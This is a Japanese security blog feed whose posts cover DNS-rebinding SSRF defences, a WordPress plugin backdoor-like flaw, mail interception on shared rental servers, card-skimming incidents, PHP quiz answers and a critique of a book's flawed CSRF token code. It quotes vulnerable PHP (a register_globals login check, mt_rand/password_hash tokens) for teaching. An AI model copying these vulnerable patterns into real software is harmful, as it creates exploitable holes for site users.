詳しくは、上記ドキュメントを参照ください。

補足

DNS Rebindingの一般的な対策(アクセスされる側)は以下のいずれかを実装することです(両方でもよい)。
  • Hostヘッダの検証(参考
  • 適切な認証とアクセス制御
AWSの 169.254.169.254 は両者のどちらもやっていないことはイケテナイと個人的には思います。仮に Host ヘッダがIPアドレス以外のケースをエラーにしておけば、DNS Rebinding攻撃でここから情報を盗むことはできません。今更変更は難しいかもしれませんが、ここはチェックしていただきたかったですね。

まとめ

DNS RebindingによるSSRF対策回避について説明しました。要約すると、「やってみたらできました」ということです。SSRF脆弱性の対策は難しいので、任意URLを受け取る仕様そのものを見直すか、本稿で紹介したPROXYあるいはiptablesによる対策を推奨します。

WordPressのプラグインVisual CSS Style Editorに権限昇格の脆弱性

$
0
0
最近WordPressのプラグインのアップデート状況を監視しているのですが、Visual CSS Style Editor(別名Yellow pencil visual theme customizer)が公開停止になり、しばらくたって公開が再開されていました。これは、掲題のように権限昇格の脆弱性があったので公開停止になり、修正版が出たことにより公開再開したものです。WordPressのプラグインではよく見る光景です。

注: 公開停止になったまま再開しないプラグインも珍しくありません。最近では、typesgoogle-maps-buildersimple-share-buttons-adderyuzo-related-post等の人気プラグインが公開停止になりましたが、本稿執筆時点で再開していません。

脆弱性の概要

脆弱性のあるバージョン: 7.1.9以前
脆弱性の種類: 権限昇格
脆弱性による直接の影響: 外部からWordPressの設定をログインなしに変更できる
典型的な攻撃手法: 外部から勝手に管理者ユーザーを登録することで管理者になれる
対策: 最新版(本稿執筆時点では7.2.1)にアップデートする

上記は、以前紹介したWP GDPR Complianceの脆弱性CVE-2018-19207と攻撃手法や影響は似ています。PoC(概念実証コード)は公開されていますが、影響が大きいので紹介はしません。私が逮捕されても困りますしね…

原因

複数の問題が組み合わさって攻撃が可能になっていますが、とくに、yp_remote_get_first()関数内で、特定のGETパラメータを指定すると一時的に管理者になる(厳密にはid=1のユーザになる)機能が実装されていることが原因のようです。この機能の意図はよくわかりませんが、表面上は開発者が仕込んだバックドアのように見えます。以下は7.1.9から7.2.0への差分です。当該箇所は、修正版では単に削除されています。



対策

Visual CSS Style Editorプラグインの7.2.0で改修されています。本稿執筆時点の最新版は7.2.1です。最新版の導入を推奨します。
当脆弱性の攻撃のうち、管理者ユーザーを勝手に作成される経路については、WordPressのログイン機能 wp-login.php のURLを変更し、隠すことで緩和策になります。

宣伝

EGセキュアソリューションズ株式会社では、WordPress利用サイトのセキュリティ強化施策を支援しています。サービス案内はこちら。詳細はお問い合わせください

鈴木常彦先生の「共用レンタルサーバにおけるメールの窃盗」の話を聴講した

$
0
0
4月23日(火)に開催された 「#ssmjp 2019/04 ~DNSの話を聞く会~」に「Outputなら任せてください枠」で参加しましたので、講演内容からとくにやばい(?)内容と思われる@tss_ontap(鈴木常彦=浸透言うな先生)の「黒塗りの DNS (萎縮編)」から、「共用レンタルサーバにおけるメールの窃盗」について紹介します。スライドは公開されています

サマリ

レンタルサーバーからメールを送信する場合、悪意の第三者に、特定のドメインに対するメールを横取りされるリスクがある

攻撃手法


  • 攻撃者は、レンタルサーバーを契約(お試しなどでも可能)して、攻撃対象のドメイン名(ここではchukyo-u.ac.jp…中京大学のドメイン名を用いる)を登録する
  • その際に、当該ドメイン名の権利を有している必要はない(権利があれば正当にメールを受信できるので攻撃の必要がない)
  • これだけ

なぜメールが横取りされるか?

一般にメール送信する場合、サーバー内に受診者がいる場合、まずそちらを優先して配送する。レンタルサーバー内に攻撃対象のドメイン名(ここではchukyo-u.ac.jp)がメール設定されていると、メール配送の際にDNSを参照することなく、無条件に(ローカル内で)当該のメールボックスにメールを配送してしまう。このchukyo-u.ac.jpのメールボックスは、実際には正規のドメイン名登録者ではなく、悪意の第三者が登録したものなので、メールは悪意の第三者が横取りできることになる。

FAQ

Q1: レンタルサーバー契約時にドメイン名の権利は確認されないのか?
A1: 多くの場合権利確認はないそうですし、まぁ難しそうですね

Q2: レンサバ側でDNS権威サーバーやwhoisとか参照しないのか?
A2: 前述の通り、ローカル配送の際にはDNSやwhoisは参照しません

Q3: ドメイン名の権利者ができる対策はあるか?
A3: すべてのレンタルサーバーに契約すれば防げますが現実的ではありせん

Q4: メール送信者(レンタルサーバー利用者)ができる対策はあるか?
A4: メール以外の方法で「メール送ったよ、届いていないときは連絡して!」とメッセージするとか…というのは冗談で、メール送信者側にとれる対策はなさそうです

Q5: DNS関係ないじゃん
A5: はい。DNSとは無関係の問題ですが、近隣のテーマだとは思います

[書評]噂の学園一美少女な先輩がモブの俺に惚れてるって、これなんのバグですか?

$
0
0
瓜生聖(うりゅうせい)の近著「噂の学園一美少女な先輩がモブの俺に惚れてるって、これなんのバグですか? 」を読んだので紹介したい。本書は、JNSA(特定非営利活動法人 日本ネットワークセキュリティ協会)が主催したサイバーセキュリティ小説コンテストにて大賞を受賞した作品「目つきの悪い女が眼鏡をかけたら美少女だった件」を大幅に加筆したのち、角川スニーカー文庫から出版された。

重要事項説明

  • 著者と評者は知人関係にあり公私共に交流がある
  • 評者が読んだ書籍はご恵贈いただいたものである
  • この記事のリンクにはアフィリエイトが含まれる

はじめに

著者の瓜生聖は、twitterのプロフィールには「ITmediaで記事を書いてる兼業ライター」とあるが、本業はITエンジニアである。つまり、現役のITエンジニア兼テクニカルライターである人物が、サイバーセキュリティ小説を書いたのが本書ということになる。瓜生聖はライターとしても一流なので技術面と文章力は申し分ないはずだが、小説となるとどうだろうか。評者の興味は、まずそこにあった。

あらすじ

本書は以下の三部構成となっている。

第一話 試験問題漏洩事件

本書の準ヒロイン格で、主人公鷹野祐(たかのたすく)の幼なじみの西村理乃(にしむらりの)が、数学の試験問題漏洩事件の犯人だという噂が流れ、事件が提示される。祐は、美少女衣川マト(ころもがわまと)の力を借りて事件の真相を解明し、理乃を救う。祐は小学生時代に探偵を志していたが、とある事件がトラウマになり、探偵の夢をあきらめていたが、この事件をきっかけに、自分が進むべき道がおぼろげながら見えてくる。

第二話 夏の嵐

祐は区民プールで子供たちと遊ぶマトを見かけ、そこからの流れでマトが幼少期を過ごした施設を訪問、マトの過去を知ることになる。その後マトの自宅を訪問しドキドキの一時を過ごす。
台風の日、買い物を言いつけられた祐は自宅に帰ることができなくなり、愛帝学園を訪れる。そこで第二の事件を解決する。過程で、サイバーセキュリティに詳しい青年鴻上(こうがみ)が登場する。

第三話 最強の武器

マトが高校に来なくなってしまった。鴻上がマトをスカウトして米国に呼んだらしい。マトが遠くに行ってしまう。しかも、米国でのマトの仕事は…
マトを救うべく、祐は第三の事件を三人の少女の力を借りて解決する。そして、はたして祐とマトは結ばれるのか。

重層的な構造

本書はラブコメラノベという分類になっているが、その実複雑な構成になっている。評者の見るところ、以下の要素を併せ持っている。
  • ラブコメ
  • サイバーセキュリティ小説
  • 成長譚(さまざまな事件を少女たちの力を借りて解決する過程で主人公は成長する)
  • 自分探し(無目的に生きてきた主人公が自分のやりたいことを見出す)
  • 探偵小説(第一話は探偵小説でもある)
  • 家庭内暴力や児童ポルノ問題
まだ他にもあるかもしれない。
これだけの要素を文庫本300ページに突っ込むとごちゃごちゃしてしまいそうだが、どうか。率直なところ、児童ポルノ問題を扱い探偵小説仕立てにもなっている第一話は、話が少し重くなり、また、筋書きを追うのに苦労する箇所がある。著者の初めての小説ということで張り切ってネタをぶち込みすぎたのかもしれない。その反省からか、第二話と第三話では、材料を少し減らして、著者はすっきりとまとめてみせる。全体としては、重層的な構造にも関わらずラノベらしくすらすら楽しく読むことができる。

エピソード紹介

次に、本書の冒頭からいくつかのエピソードを引用で紹介しよう。

物語は、本書の主人公である愛帝学園の1年生の鷹野祐(たかのたすく)が、ヒロイン衣川マト(ころまがわまと)と邂逅するところから始まる。
 教室に入ろうとした瞬間、突然引き戸が勢いよく開いた。
 突然のことに足が絡まり、思わず尻餅をつく。
「いてて……す、すいません」
 見上げた先にいたのは妖精だつた。
 陽の光をまとい、細く艷やかな銀髪がふわりと舞う。シルバーアッシュの柳眉の下はぱっちりとした大きな翠眼(すいがん)で、真っ白な肌は白磁のようにつるつるだ。
 学年の違う俺でも知っている銀髪の美少女ーー衣川先輩だった。
 遠くから見るのとは全然違う美の暴力をまともに受け、俺はただただ、呆然と見つめるだけだった。目を離すこともできない。もしかしたら呼吸も忘れていたかもしれない。
この後、いったんは「氷のように冷たい目で俺を見下ろしていた」マトは、あるきっかけの後主人公を抱きしめるに至る。その後マトは顔を赤らめて走り去るが、主人公は小さなUSBメモリが落ちていることに気づく。

その後、準ヒロイン格でアイドルを目指している西村理乃(にしむらりの)や、主人公が入り浸っているコンピュータ部(主人公は部員ではない)の部員である嵯峨野亜弥(さがのあや)が次々に登場し、わずか10ページほどの間で主要人物が出揃うことになる。スピーディな展開で手際が良い。

主人公は亜弥にUSBメモリの調査を依頼する。亜弥はアーミーナイフを取り出し、慣れた手つきでガワを開くと、USBメモリのチップがPhison2307であり、ファームウェア改造ツールPsychsonにより改造が可能であると指摘する。
「ちょ、ちょっと待ってくれ。つまりその、ファームウェア? ってのを書き換えるとどうなるんだ?」
「デバイスクラスを偽装できるー」
「俺にもわかるように言ってくれ」
「USBデバイスの挙動をエミュレートできるー」
「俺にもわかるように言ってくれ」
 亜弥は話し足りなそうにしながらも、言葉を選ぶように言った。
「PCを乗っ取れるー」
「まじか」
BadUSBが早くも登場である。このやり取りでもわかるように、主人公はコンピュータには詳しくない。本書は主人公の一人称視点で書かれているので、難しい用語が交わる技術的な説明について、主人公に「わからない、もっと易しく説明してくれ」と言わせることによって、わかりやすく解説したり、詳細を省略して要点のみを説明できることになる。これは、著者の工夫だろう。

この後、なぜか主人公と連れ歩いているマトと、アイドルを目指す理乃が、主人公を巡って張り合う場面がある。そう、なんせラブコメなので主人公はモテモテなのだ。理乃は言う。
「好みは人それぞれだと思いますけどね、衣川先輩。幼なじみでずっと昔から知っていて、お互いに祐、理乃と呼び合う関係のあたしから言わせてもらえれば、今の祐はつまんないやつですよ。普通の人に分かる良さなんて、皆無ですからね」
幼なじみの理乃は、祐は昔と違ってつまらないやつになってしまったと言う。祐は、小学生の頃まではシャーロック・ホームズにあこがれ、将来を探偵になることを目指していたが、ある事件に関わったことがきっかけとなり、探偵を志すことをやめ、できるだけ目立たないように過ごしている。

あらすじで紹介したように、この物語は、愛帝学園に起こるさまざまな事件を主人公が周囲の力を解決することにより成長する、いわばロールプレイングゲーム(成長譚)の形態をとっている。主人公は、過去のトラウマから探偵になる夢を放棄してしまったが、友人のトラブルを解決すべく再び探偵として行動する。その過程で、マトからOSINT(オシント)という方法論を教えてもらい、これが自分の進むべき道だと気づく。

問題を抱えているのは主人公だけではない。マトと理乃は、家族に関するトラブルを抱えていたが、それぞれの方法で過去のトラブルを乗り越えようとしている。それが物語に厚みを加えている。

次に、本書の二大要素であるサイバーセキュリティ小説として、およびラブコメラノベとしての側面を紹介する。

サイバーセキュリティ小説として

本書の「事件」に登場するセキリティ要素を紹介しよう。

第一話: BadUSB、MaaS(Malware-as-a-Service)
第二話: ウェブサイト侵入(クレジットカード情報非保持サイト?)
第三話: 暗号通貨

上記のように、イマドキのセキュリティ要素がふんだんに盛り込まれている。しかも、現役のITエンジニアが書いただけあって、セキュリティ部分のクォリティは非常に高い。先に引用したBadUSBもそうだが、ここでは、評者が思わずニヤリとした箇所を引用しよう。以下は、第二話中に出てくる、侵入されたウェブサイトを巡る会話である。
「なるほど…じゃあコレはニセモノってことなんですか?」
 僕は入力途中になっていた通販サイトのページを示す。アドレスバーには緑色で企業名まで表示されている。これがニセモノならどうやって見分ければいいんだろうか。
「ああ、フィッシングという言い方は正確じゃないか。改ざん、と言った方が正しいのかな。通常だと通信が保護されていなかったり、URLが微妙に違ったりすることが多いけど、これは本物のサーバーに何かあったときの予備サーバだから、それ自体は本物よ。ただ、ファイルが書き換えられているだけ」
これはクレジットカード情報窃取の最新の手口である。評者が以前ブログ記事「クレジットカード情報盗み出しの手口をまとめた」に書いたタイプ4かタイプ5に相当する。おそらく「フィッシング」という言葉があることから、タイプ5、すなわち最新の手口であろう。
このように、著者は細かいクラッキングの手口にまで目配りして、最新の手法が紹介されている。まるで、評者がふだん「これをフィッシングと言うな」と言っているのを意識しているかのような会話だw
細かいようだが、セキュリティはディテールが重要であるし、あまりに荒唐無稽な手口だと(荒唐無稽さを突っ込んで楽しむなら別だが)読者は白けてしまう。その点、本書は、セキュリティに精通した読者でも、存分に楽しむことができる。
また、本書のヒロイン衣川マトは、実在の高名なバグハンターがモデルになっている。評者は予めそれを知っていたが、それを知らない読者でも、途中で実在のモデルを暗示する重要なエピソードが出てくるので、セキュリティに関心のある読者なら「ははーん」と分かるだろう。ここは引用したいところではあるが、ネタバレになるので控えておく。

ラブコメとして

ラブコメラノベなのだから、主人公が「冴えないやつ」であるにも関わらずがモテモテなのは、いくら非現実的でも大目に見てあげるのが大人のたしなみというものだ…そんなふうに考えていた時期が私にもありました。
実際冒頭のくだりでは、「おいおい、それはないだろう」と思いながら読んでいたのであるが、読み進めていくうちに、主人公のモテモテぶりが不自然ではなくなってくる。当初は、「主人公がモテモテなのは在原業平や光源氏以来の我が国の伝統だからな」と思っていたが、そうではなかった。鷹野祐は冴えないように見えて実は魅力的な少年なのだ。そのことを、周囲も、当人も、そして読者も気づいていないが、三人の少女は気づいていた。それは、先に引用した「普通の人に分かる良さなんて、皆無ですからね」という理乃の言葉からも伺える。読者は、物語の進展とともに主人公の魅力がわかってくるわけで、それで「モテモテぶりが自然に思えてくる」のだろう。
評者は、主人公の艶福ぶりをうらやんだり、時には「おいおい、昔から『据え膳食わぬは男の恥』と言ってな…なぜ据え膳を食わぬ」と主人公をけしかたり、さらには、「うーん、この調子でいくと祐はマトとくっつくのではなく、理乃とくっついてしまう、なんてどんでん返しもなくないか?」などと要らぬ心配をしたりした。つまり、評者はラブコメとしての本書も存分に堪能した。

おわりに

瓜生聖のサイバーセキュリティ小説「噂の学園一美少女な先輩がモブの俺に惚れてるって、これなんのバグですか? 」を紹介した。本書は、ラブコメ仕立てのサイバーセキュリティ小説であるのみならず、重層的な構造を持つ意欲的な内容であり、それでいて、ラノベとしてすらすらと読める一流のエンタテインメントである。
著者は「あとがき」の末尾で「本書を読んだラノベ好きの方が『サイバーセキュリティって面白そう』と思っていだたければ、サイバーセキュリティ関係者が『ラノベもなかなか面白いな』と思っていただければ著者冥利につきます」と記している。本書は評者が初めて読んだラノベだが、本当に面白かった。可能ならば、本書の続編で、祐とマトが恋人らしくいちゃついているシーンも読んでみたい。


2019年1月から5月に公表されたウェブサイトからのクレジットカード情報漏えい事件まとめ

$
0
0
株式会社ヤマダ電機の運営するECサイトから、最大37,832件のクレジットカード情報が漏洩したと昨日発表されました。ヤマダ電機のように日本を代表する家電量販店のサイトからクレジットカード情報が漏洩したことに私自身驚きました。

弊社が運営する「ヤマダウエブコム・ヤマダモール」への不正アクセスによる個人情報流出に関するお詫びとお知らせ

漏洩した情報は以下のように発表されています。
  • クレジットカード番号
  • 有効期限
  • セキュリティコード
はてなブックマークやtwitterのコメントを見ていると、「セキュリティコードを保存していたのか」という意見が見えますが、おそらくセキュリティコードは保存されていなかったと推測します。
本稿では、この件を含め、本年の現時点までのウェブサイトからのクレジットカード情報漏えい事件についてまとめました。

事件の一覧

下表に本年(2019年)の現時点までに公表されたウェブサイトからのクレジットカード情報漏洩事件をまとめました。サイト名、漏洩期間、漏洩件数(最大)、セキュリティコードの漏洩有無、漏洩の手口(後述)を記載しています。

サイト名漏洩期間漏洩件数セキュリティコード漏洩手口
バニーファミリー横浜ネットショップ2018年6月28日~同年10月25日241件漏洩Type5
オンライン通販サイト(ハセ・プロ)2018年10月1日~2019年1月24日1,311件漏洩Type5
歯学書ドットコム2012年11月11日~2018年12月28日5,689件漏洩不明
本味主義2017年5月22日~2018年10月14日2,926件漏洩Type4?
子供服サーカス2018年10月1日~2019年1月18日2,200件漏洩Type4
エコレオンラインショップ2018年5月16日~2018年12月11日247件漏洩Type4
ななつ星 Gallery2013年10月5日(サイト開設日)~
2019年3月11日(サイト閉鎖日)
3,086件漏洩不明
「ショコラ ベルアメール」オンラインショップ2018年8月6日~2019年1月21日1,045件漏洩Type5
エーデルワイン オンラインショップ2015年7月8日~2018年8月5日1,140件漏洩不明
小田垣商店オンラインショップ2018年4月3日~2018年5月16日及び
2018年9月3日~2019年2月28日
2,415件漏洩不明
藤い屋オンラインショップ2018年10月15日~2019年1月28日477件Type5
エンターテインメントホビーショップ ジャングル2017年5月2日~2018年11月6日2,507件漏洩Type2
ヤマダウエブコム・ヤマダモール2019年3月18日~2019年4月26日37,832件漏洩Type4

大半の事件でセキュリティコードが漏洩している

上表からわかるように、藤い屋オンラインショップを除いたすべての事件でセキュリティコードが漏洩しています。昨年のまとめも見ていただくとわかりますが、最近のウェブサイトからのクレジットカード情報漏洩では、セキュリティコードが漏洩する方がむしろ普通です。
昨年10月のブログ記事「クレジットカード情報盗み出しの手口をまとめた」では、クレジットカード情報を窃取する手口をType1~Type5にまとめましたが、この中で、Type4とType5はセキュリティコードを容易に盗むことができます。

Type4の手口とは

ここでType4の手口について説明します。下図のように、カード情報入力画面に細工を施すことがType4の特徴です。
下図はサイト利用者がクレジットカード情報を入力している様子です。入力フォームに仕掛けられたJavaScriptにより、カード情報は攻撃者の管理するサーバーに送信されています。
ヤマダ電機のサイトからの情報漏えいがこのパターンと推測する理由は、リリースの以下の記述からです。
(1)原因
第三者によって「ヤマダウエブコム・ヤマダモール」に不正アクセスされ、ペイメントアプリケーションの改ざんが行われたため
弊社が運営する「ヤマダウエブコム・ヤマダモール」への不正アクセスによる個人情報流出に関するお詫びとお知らせより引用
そして、同じくType4と推測されるサイトとしては下記があります。
Q.子供服サーカス、および子供服ミリバールからクレジットカード情報が流出したのですか?
弊社ではカード情報を保有しておりません。今回は、注文情報入力画面 が 不正アクセスにより 改竄され、カード入力画面で入力されたお客様のカード情報が、流出したと思われます。
Q&A】クレジットカード情報流出に関するご質問と回答(株式会社サーカス)より引用
2018 年5 月16 日に攻撃者が、データベースへ不正な仕掛けをページ内に埋め込んだとみられます。
その仕掛けは、ページ内の入力フォームに入力されたカード会員情報を正規の処理とは別に外部サイトへ転送する機能を持っていた為、2018年5月16日以降当該サイトのカード利用者のカード会員情報が搾取されていたと考えられる、との事でした。
エコレ通販サイトにおける不正アクセスによるお客さま情報の流出懸念に関するお知らせより引用

Type5の手口も依然活発

一方、昨年から使われた始めたType5も依然として活発です。下図は、バニーファミリー横浜のFAQからの引用です。


【重要】カード情報流出についての、ご質問とご回答  バニーファミリー横浜 公式オンラインショップより引用

そして、下図が攻撃後の画面遷移で、「偽のカード入力画面」が画面遷移に挿入されています。


【重要】カード情報流出についての、ご質問とご回答  バニーファミリー横浜 公式オンラインショップより引用

この遷移は、「2018年に公表されたウェブサイトからのクレジットカード情報漏えい事件まとめ」で紹介した伊織の事例と酷似しており、偽画面のドメイン名まで同じです。同一犯人、あるいは同一犯行グループではないでしょうか。

また、以下のように、ハセ・プロ、ショコラ ベルアメール、藤い屋についてもこの手口であることがリリースからわかります。

フィッシングサイトによるクレジットカード情報不正取得についてのお詫びと注意喚起のお知らせ(株式会社ハセ・プロ)より引用

「ショコラ ベルアメール」のオンラインショップへの不正アクセスに関するご質問と回答より引用
2018年10月15日から2019年1月28日までの期間においてシステムが改ざんされた痕跡があり、 クレジットカード決済を選択されたお客様が偽の決済画面へ誘導され、そこで入力されたクレジットカード情報が流出し、 一部のお客様のクレジットカード情報が不正利用された可能性があることを確認いたしました。
弊社が運営する「藤い屋オンラインショップ」への不正アクセスによる個人情報流出に関するお詫びとお知らせより引用

なぜ入力フォームからクレジットカード情報を盗むのか

ブログ記事「ECサイトからクレジットカード情報を盗み出す新たな手口」にて紹介したように、昨年の6月1日に改正割賦販売法が施行され、クレジットカード情報を扱うECサイト事業者にもカード情報保護が求められるようになりました。そして、この保護についてのガイドラインになるのが、『クレジット取引セキュリティ協議会の「実行計画」』であり、中身はクレジットカード情報番号の非保持化が柱になっています。
具体的には、以下に示す「JavaScript(トークン)型」と「リダイレクト(リンク)型」による決済システムが推進されています。
以下は、JavaScript型の決済の様子です。入力フォームは加盟店(ECサイト)側にありますが、カード情報はECサイトのサーバーを通過せず、JavaScriptにより直接決済代行事業者にカード情報を送信する方式です。

実行計画2019より引用

JavaScript型の場合、先に説明したType4およびType5でカード情報を盗むことができます。
一方下図はリダイレクト型決済の概念図です。カード情報を入力する際には、決済代行事業者の画面に遷移するため、ECサイト側では一切生のカード情報を扱わず、安全性が高い方法と考えられていました。

実行計画2019 より引用

しかし、前記Type5の攻撃ではリダイレクト型決済でもカード情報を盗むことができます。今年のカード情報窃取事件ではType4とType5が使い分けられていますが、これは決済方式に合わせて適した方法が採用されたものと考えられます。

カード情報非保持化で満足せず基本的な対策を

以上で説明してきたように、経産省およびクレジット取引セキュリティ協議会の進める「カード情報非保持化」では十分にカード情報を保護できる状況ではありません。基本に立ち返って、以下の対策を推奨します(2018年末の記事の再掲)。
  • ウェブアプリケーションやソフトウェアライブラリ、プラットフォームの脆弱性対策(パッチ適用など)
  • 管理者等のパスワードを強固にする(可能ならばインターネットからは管理者ログインできないよう設定する)
加えて、以下の対策を推奨します。
  • Web Application Firewall(WAF)の導入
  • ファイルパーミッションとファイルオーナーの適切な設定
  • 改ざん検知システムの導入

[PR]
徳丸が代表を務めるEGセキュアソリューションズ株式会社では、ECサイトを堅牢にするための各種セキュリティサービスを提供しています。


PHPカンファレンス福岡2019のSST社ブースにてPHPクイズ出題を担当しました

$
0
0
PHPカンファレンス福岡2019のセキュアスカイテクノロジー(SST)社ブースにて、PHPクイズの出題を担当しました。以下は、そのパネルのイメージです。SST社は弊社EGセキュアソリューションズ株式会社のパートナー企業で、私はSST社のEラーラニングコンテンツ(PHP編)の監修を担当しています。


問題はすべて2択で、回答は下の写真のように、赤または青のシールをボードに貼り付ける形になっています。回答がわりとバラけていて、出題者的にはいい感じですね。


以下、出題と解答、解説を記載します。

問題1

以下のPHPスクリプトで、クッキーPHPSESSIDの削除として機能するのはどちら?
PHPのバージョンは7.3.6とする。

A) (正解)31人が選択=正答率 83.8%
<?php
setcookie('PHPSESSID');

B) 6人が選択
<?php
header('Set-Cookie: PHPSESSID=');

解説

setcookie関数の第2引数の省略時の値は ''(空文字列)ですので、A)は setcookie('PHPSESSID', ''); としたのと同じはずです。そして、第2引数が空文字列の場合は、実際にはクッキーの値としてdeletedが指定され、expires属性が過去日時(PHP-7.3.6の場合は、Thu, 01-Jan-1970 00:00:01 GMT)になります。すなわち、setcookie関数の第2引数を省略すると、クッキーの削除として機能します。
B) header関数の方は、クッキーの値が空文字列になりますが、クッキーそのものは削除されません。

参考記事: PHPのsetcookie関数で空文字列を設定しようとするとクッキーが削除される

ところが、出題の確認時にmodphpallで確認したところ、古いPHPでは上記の挙動にはならず、以下のレスポンスヘッダが送信されることがわかりました。この動作は、setcookie関数の第2引数を省略した場合のみで、空文字列またはnullを指定した場合はマニュアルどおりの動作となります。
Set-Cookie: PHPSESSID=
正確に言えば、PHP 4.1.0~PHP 5.6.13までが上記挙動になります。すべてのPHP 4.0と PHP 5.6.14以降、PHP 7以降では、マニュアルどおりの動作となります。この変更は、恐らく以下のバグレポートに対応したものと思われます。

Bug #67131setcookie() conditional for empty values not met

プログラミング言語のエッジケースの出題をする場合は特に、実環境での動作確認と、処理系の想定バージョンの明記が重要だなとあらためて感じました。

問題2

以下のPHPスクリプトはどちらが表示される? PHPのバージョンは7.3.6とする。
<?php
   $mail = "a@b@example.jp";
   var_dump(filter_var($mail, FILTER_SANITIZE_EMAIL));

A) 31人が選択
bool(false)

B) (正解)6人が選択=正答率 16.2%
string(14) "a@b@example.jp"

解説

この問題は「ひっかけ」でして、実際に多くの方がひっかかりました。
マニュアルにあるように、filter_var関数に FILTER_SANITIZE_EMAIL を指定した場合は、英字、数字および !#$%&'*+-=?^_`{|}~@.[] 以外のすべての文字を取り除きます。出題の場合は、除去対象の文字がないので、入力値がそのまま出力されます。
メールアドレスの形式を検証するためには、FILTER_SANITIZE_EMAIL ではなく、FILTER_VALIDATE_EMAIL を使用します。

率直に言って、FILTER_SANITIZE_EMAILのユースケースは思いつきません。要らんでしょ、こんなもの。

問題3(PHP考古学)

PHP-5.2.17にてregister_globals=onの環境で、あらかじめ以下のようにセッション変数が設定されている。
$_SESSION['user'] = 'yamada';
クエリ文字列 user=tanaka
を指定して以下のスクリプトを実行した場合の表示はどちら?
<?php
   session_start();
   echo $user;
A)yamada  (正解) 23人が選択=正答率 62.2%
B)tanaka 14人が選択

解説

register_globals=on の環境では、session_start()を実行時にセッション変数の値がグローバル変数として初期設定されます。したがって、$_SESSION['user'] = 'yamada'; が設定されている場合、$user の初期値は 'yamada'になります。
仮に、このセッション変数がセットされていない場合、クエリ文字列 user=tanaka の方が使われ、$user の初期値は 'tanaka'になります。セッション変数とクエリ文字列(やPOST変数など)の両方に同じパラメータ名がある場合、セッション変数の方が優先されます。その理由は、セッション変数のグローバル変数へのセットは、起動時ではなく、session_start()の実行時に行われるからです。すなわち、同名のパラメータがあった場合は、セッション変数が上書きします。
したがって、register_globals=on の使用は脆弱性の原因になりやすいことはよく知られていますが、セッション変数をグローバル変数の初期値として用いると、特に脆弱性が混入しやすくなります。

例えば、以下のログインチェックのプログラムについて
session_start();
if (! isset($_SESSION['user']) {
die('ログインしてください');
}
$user = $_SESSION['user'];

これを register_globals=on を想定して「直訳」すると以下のようになります。
session_start();
if (! isset($user)) {
die('ログインしてください');
}
// $user = $_SESSION['user'];  // これは不要となる
register_globals=on の場合、session_start()を実行した時点で、セッション変数 $_SESSION['user'] の値はグローバル変数 $user にセットされるため、「これは不要となる」とコメントした行は不要となります。便利ですね!
しかし、$_SESSION['user'] がない場合、$user=nullが実行されるわけではないので、クエリ文字列等にuser=tanakaがあった場合、$userには 'tanaka'がセットされます。すなわち、パスワードを知らなくても誰にでもなりすましできます。これは重大な問題ですね。
register_globals=on を用いて、上記の脆弱性を修正するには以下のように書くべきですが…
$user = null;  // register_globals=onによる初期設定を無効化する
session_start();
// $_SESSION['user'] がある場合、$userにその値がセットされる
if (! isset($user)) {
die('ログインしてください');
}
上記は著しく直感に反するプログラムですし、それゆえに初期化漏れが盛大に発生しそうです。なので、register_globalsがPHP 5.4で削除されたのは、必然のことと言えましょう。


[PR]
徳丸が代表を務めるEGセキュアソリューションズ株式会社では、ウェブサイトを堅牢にするための各種セキュリティサービスを提供しています。


PHPサーバーサイドプログラミングパーフェクトマスターのCSRF対策に脆弱性

$
0
0

サマリ

PHPサーバーサイドプログラミングパーフェクトマスターには、PHP入門書としては珍しくクロスサイト・リクエストフォージェリ(CSRF)対策についての説明があるが、その方法には問題がある。アルゴリズムとして問題があることに加えて、実装上の問題があり、そのままコピペして用いると脆弱性となる。

はじめに

古庄親方の以下のツイートを見て驚きました。

CSRFトークンの生成に、password_hash関数を使うですと?
親方に書籍名を教えていただき、購入したのが、この記事で紹介する「PHPサーバーサイドプログラミングパーフェクトマスター」です。同書では、CSRF対策にpassword_hashを2種類の方法で使っています(!)が、本稿では、セクション10.3 (P726~) にて説明されている方法を取り上げます。

当該コード

当該コードを示します。同書では、認証・入力フォーム・登録の3機能が1つのPHPファイルにまとめられていますが、そこから抜き出す形で、以下は入力フォームです。
<?php
function getToken($rand='') {
$_SESSION['rand'] = $rand;
$token = password_hash($rand, PASSWORD_DEFAULT);
return $token;
}
// セッションスタート
session_start();
$rand = mt_rand();
$token = getToken($rand);
print <<<EOD
<form action="" method="post">
<input type="hidden" name="request" value="reg" />
<input type="hidden" name="token" value="$token" />
<input type="submit" value="登録">
</form>
EOD;
トークンの「素(もと)」としてmt_rand()関数が呼ばれ、その値をセッション変数$_SESSION['rand']に保存しています。その乱数値をpassword_hash関数で処理することで、トークンを生成しています。入力フォームの生成例を以下に示します。
<form action="" method="post">
<input type="hidden" name="request" value="reg" />
<input type="hidden" name="token"
value="$2y$10$alqDLwZSizuBYpwmBR6pj.WzxI7UeW9YutuxHjb.r2qw9QQOBqbw6" />
<input type="submit" value="登録">
</form>
赤字に示した部分($2y$...)がトークンですが、これを見ると、「なんでパスワードのハッシュ値をCSRFトークンにしているわけ?」と勘違いする人が続出しそうですね。
そして、このトークンを受け取り、処理するプログラムが下記の部分です。
<?php
function check ($token = '') {
return (password_verify($_SESSION['rand'], $token));
}
session_start();
if (isset($_POST['request']) === true && $_POST['request'] === 'reg'&& isUser() == true) {
if(isset($_POST['token']) === false || check($_POST['token']) === false) {
print '不正なアクセスが行われました。';
} else {
print '処理が完了しました!';
unset($_SESSION['rand']);
$_SESSION = array();
}
}
$_POST['token']がNULLでないことを確認した上で、check関数で、セッション変数$_SESSION['rand']をパスワードに見立て、パスワードのハッシュ値に相当する$_POST['token']にてpassword_verify関数で照合する形で、トークンを検証しています。

何が問題か

このプログラムには以下の問題があります。
  1. 設計上の問題
  2. 実装上の問題
以下、順に説明します。

設計上の問題

そもそもpassword_hash関数は、パスワードを安全に保存するための関数なので、CSRFトークンの処理のことはまったく考慮されておらず、一言で言えば「使う場所を間違えている」ことになります。通常トークンの生成には、暗号論的に安全な疑似乱数生成器(CSPRNG)を用います。PHP 7以降ではrandom_bytes関数があるので、それを素直に使うだけです。さらにハッシュ関数を通すようなことは必要ありません。余計なことをやればやるほど、バグの原因になり、ひいては脆弱性の原因になります。
加えて、mt_rand()の使用も問題です。この関数は、マニュアル(下記引用)にある通り、セキュリティ目的で使うことは適切でありません。
警告この関数が生成する値は、暗号学的に安全ではありません。そのため、これを暗号として使ってはいけません。暗号学的に安全な値が必要な場合は、random_int() か random_bytes() あるいは openssl_random_pseudo_bytes() を使いましょう。

https://php.net/manual/ja/function.mt-rand.php より引用
